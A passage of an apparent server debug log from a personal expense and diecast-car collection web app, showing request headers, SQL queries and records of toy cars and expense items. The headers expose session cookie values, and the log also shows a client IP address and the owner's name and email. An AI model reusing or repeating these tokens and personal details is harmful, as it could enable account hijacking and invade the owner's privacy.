    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14f7c-/AI8iZ0ux/Ipif2X2LSIlVLFuG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-04-07T16:29:15.092Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-04-07T16:29:15.096Z server-connect:router Serving serverConnect /api/masters/get-items
2026-04-07T16:29:15.097Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-04-07T16:29:15.098Z server-connect:app Executing action step identify
2026-04-07T16:29:15.098Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:15.098Z server-connect:output identity: 1
2026-04-07T16:29:15.098Z server-connect:app Executing action step restrict
2026-04-07T16:29:15.098Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:29:15.100Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-04-07T16:29:15.102Z server-connect:output restrict: undefined
2026-04-07T16:29:15.104Z server-connect:app Executing action step single
2026-04-07T16:29:15.104Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-04-07T16:29:15.105Z server-connect:router Serving serverConnect /api/diecast/list
2026-04-07T16:29:15.106Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-04-07T16:29:15.107Z server-connect:app Executing action step identify
2026-04-07T16:29:15.107Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:15.107Z server-connect:output identity: 1
2026-04-07T16:29:15.107Z server-connect:app Executing action step restrict
2026-04-07T16:29:15.107Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:29:15.108Z server-connect:app Executing action step identify
2026-04-07T16:29:15.108Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:15.108Z server-connect:output identity: 1
2026-04-07T16:29:15.108Z server-connect:app Executing action step restrict
2026-04-07T16:29:15.108Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:29:15.109Z server-connect:app Executing action step identify
2026-04-07T16:29:15.109Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:15.109Z server-connect:output identity: 1
2026-04-07T16:29:15.109Z server-connect:app Executing action step restrict
2026-04-07T16:29:15.109Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:29:15.109Z server-connect:output restrict: undefined
2026-04-07T16:29:15.109Z server-connect:app Executing action step select
2026-04-07T16:29:15.109Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-04-07T16:29:15.110Z server-connect:output restrict: undefined
2026-04-07T16:29:15.111Z server-connect:app Executing action step select
2026-04-07T16:29:15.111Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-04-07T16:29:15.111Z server-connect:app Executing action step identify
2026-04-07T16:29:15.111Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:15.112Z server-connect:output identity: 1
2026-04-07T16:29:15.112Z server-connect:app Executing action step restrict
2026-04-07T16:29:15.112Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:29:15.113Z server-connect:output restrict: undefined
2026-04-07T16:29:15.113Z server-connect:app Executing action step select
2026-04-07T16:29:15.113Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-04-07T16:29:15.115Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-04-07T16:29:15.117Z server-connect:output restrict: undefined
2026-04-07T16:29:15.117Z server-connect:app Executing action step paged
2026-04-07T16:29:15.118Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-04-07T16:29:15.125Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-04-07T16:29:15.126Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-04-07T16:29:15.139Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
